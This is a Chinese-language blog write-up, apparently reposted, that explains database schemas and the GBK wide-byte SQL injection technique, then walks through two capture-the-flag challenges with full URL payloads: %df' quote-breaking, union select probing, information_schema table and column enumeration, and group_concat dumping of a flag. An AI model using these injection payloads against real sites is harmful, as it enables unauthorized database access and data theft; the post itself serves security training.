在一个宽字节注入习题的情况下得到的知识集合

来源:互联网 发布:如何分析财务报表数据 编辑:程序博客网 时间:2024/06/05 02:51


一、数据库schema的解释

数据库中Schema和Database有什么区别 - 人生似烟的日志 - 网易博客

http://blog.163.com/baibai_zheng/blog/static/51980755201022125325689/

MySQL中创建一个Schema好像就跟创建一个Database是一样的效果,在SQL Server和Orcal数据库中好像又不一样. 目前我只能理解,在mysql中 schema<==>database。

 

数据库中User和Schema的关系

假如我们想了解数据库中的User和Schema究竟是什么关系,首先必须了解一下数据库中User和Schema到底是什么概念。

 

 

SQL Server2000中,由于架构的原因,User和Schema总有一层隐含的关系,让我们很少意识到其实User和Schema是两种完全不同的概念,不过在SQL Server2005中这种架构被打破了,User和Schema也被分开了。

首先我来做一个比喻,什么是Database,什么是Schema,什么是Table,什么是列,什么是行,什么是User?

我们可以可以把Database看作是一个大仓库,仓库分了很多很多的房间,Schema就是其中的房间,一个Schema代表一个房间,Table可以看作是每个Schema中的床,Table(床)就被放入每个房间中,不能放置在房间之外,那岂不是晚上睡觉无家可归了J。,然后床上可以放置很多物品,就好比Table上可以放置很多列和行一样,数据库中存储数据的基本单元是Table,现实中每个仓库放置物品的基本单位就是床, User就是每个Schema的主人,(所以Schema包含的是Object,而不是User),其实User是对应与数据库的(即User是每个对应数据库的主人),既然有操作数据库(仓库)的权利,就肯定有操作数据库中每个Schema(房间)的权利,就是说每个数据库映射的User有每个Schema(房间)的钥匙,换句话说,如果他是某个仓库的主人,那么这个仓库的使用权和仓库中的所有东西都是他的(包括房间),他有完全的操作权,可以扔掉不用的东西从每个房间,也可以放置一些有用的东西到某一个房间,呵呵,和现实也太相似了吧。我还可以给User分配具体的权限,也就是他到某一个房间能做些什么,是只能看(Read-Only),还是可以像主人一样有所有的控制权(R/W),这个就要看这个User所对应的角色Role了,至于分配权限的问题,我留在以后单独的blog中详述。比喻到这里,相信大家都清楚了吧。

SQL Server2000中,假如我们在某一个数据库中创建了用户Bosco,按么此时后台也为我们默认地创建了默认Schema 【Bosco】。Schema的名字和User的名字相同,这也是我们分不清楚用户和Schema的原因。

Ok,解释就到这里,具体参考人生似烟的日志:

http://blog.163.com/baibai_zheng/blog/static/51980755201022125325689/      下面会有很多具体的解释,但是我们只要知道schema大概什么意思就行,也可以解释为“模式”。

 

二、宽字节注入的解释

详情参考:SQL注入-宽字节注入http://blog.csdn.net/helloc0de/article/details/76180190

前言

mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。

涉及到的基本概念

1.字符、字符集 
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

 

2、UTF8 
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

3、宽字节 
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

MYSQL的字符集转换过程

1.MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2.进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

使用每个数据字段的CHARACTER SET设定值;

若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);

若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

简单的宽字节注入

bugkuCTF练习平台的题目为例: 
题目:sql注入 


得知是以get方式通过参数id进行注入 
andor语句进行注入点测试,无果

于是尝试宽字节注入: 
http://103.238.227.13:10083/index.php?id=%df%27 



确认是宽字节注入,进行列数测试,得知一共有两列,且1,2处都有回显: 
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23 

获取当前数据库名
http://103.238.227.13:10083/index.php?id=%df%27 union select database(),2%23 

 

根据题目构造payload: 
http://103.238.227.13:10083/index.php?id=%df%27 union select string,2 from sql5.key where id=1%23 


总结: 
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

三、schema_name、table_name解释

Shcema_name(模式名) :SCHEMA_NAME (Transact-SQL)返回与架构 ID 关联的架构名称。
    在一个数据库中可以有多个应用的数据表,这些不同应用的表可以放在不同的schema之中,同时,每一个schema对应一个用户。

就返回数据库名。

Table_schema(表模式)  :代表架构名称,也即是数据库名。

四、开始习题

习题练习网址:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

 

0x1 首先打开网址,发现如下内容

 

网址是:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php

 

0x2 查看网页源代码

 

发现id=1的提示

 

0x3 接下来测试是否含有注入漏洞

 

都是没有内容。就想到这不是简答的注入,猜想宽字节注入。

那么就测试宽字节注入:

 

终于有了回应,这也就说明是宽字节注入。

注:%df’在传递给数据库时会加上转意符\,然后就变成了%df\’,变成url 编码就是%df%5c%27,%df%5c就会被识别成为gbk编码的“運”,但是’被留了下来,就构成了闭合。如果是“”闭合的话就换成%22.

 

0x4 常规注入

1、测试行列:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' order by 3 %23

发现3行。

2、测试数据库:

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,3 %23

 

发现23显示,那么接下来进行查找数据库。

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),database() %23

 

得到了数据库。


0x5 进行爆表

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23

其实也可以.......table_schema=“mydbs”,但是mydbs要换成16进制编码。

.......table_schema=0x6d79646273。

 

得到一个叫 sea_user_sqli4的一个表。

注:group_concat()函数是mysql集合函数,把相同序号的内容放到一起。

1  tonm jdfaj jsdk

就不是

1 tonm

1 jdfaj  这样了。


0x6 进行段的查询

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23

这样就得到段:

id,title_1,content_1   一共三个段。

注:这里面必须使用group_concat()函数来把段进行整合。不然就会出错。

0x7 查询段内容

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),(select count(*) from sae_user_sqli4) %23

查询段中个数。为4,这也对用下文的 1  2 229212 3 四个行。

 

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,database(),(select group_concat(id,title_1,content_1) from sae_user_sqli4) %23

得到段中内容:

1blog systemmy blog test,2so easyeasy ,229212flagishere#Hsaagdfs56sdf7fsdv,3where is flagflag is here!

FLAG:Hsaagdfs56sdf7fsdv。

0x8 疑问解答

1、order by * 是什么意思?

答:ORDERBY语句用于对结果集进行排序,默认按照升序对记录进行排序。按照降序对记录进行排序,可以使用 DESC 关键字。

2、Order by num 爆字段的实质是?

答:查询段数,这里得到是是3,也就是id, title_1 , conten_1,三个字段。而1,2,3,229212是段的四行。

3、这里有一些进行了url编码,这是为什么?

答:参考http://www.360doc.com/content/17/0917/08/33260087_687786474.shtml

总之就是有些是固定字符就是用来记性参数传递,不会对其进行转义,如果不想被服务器当做特殊符号,而当做内容符号的话就要进行转义,如本文中的#符号。其实#也可以用--+来代替。

阅读全文
0 0
原创粉丝点击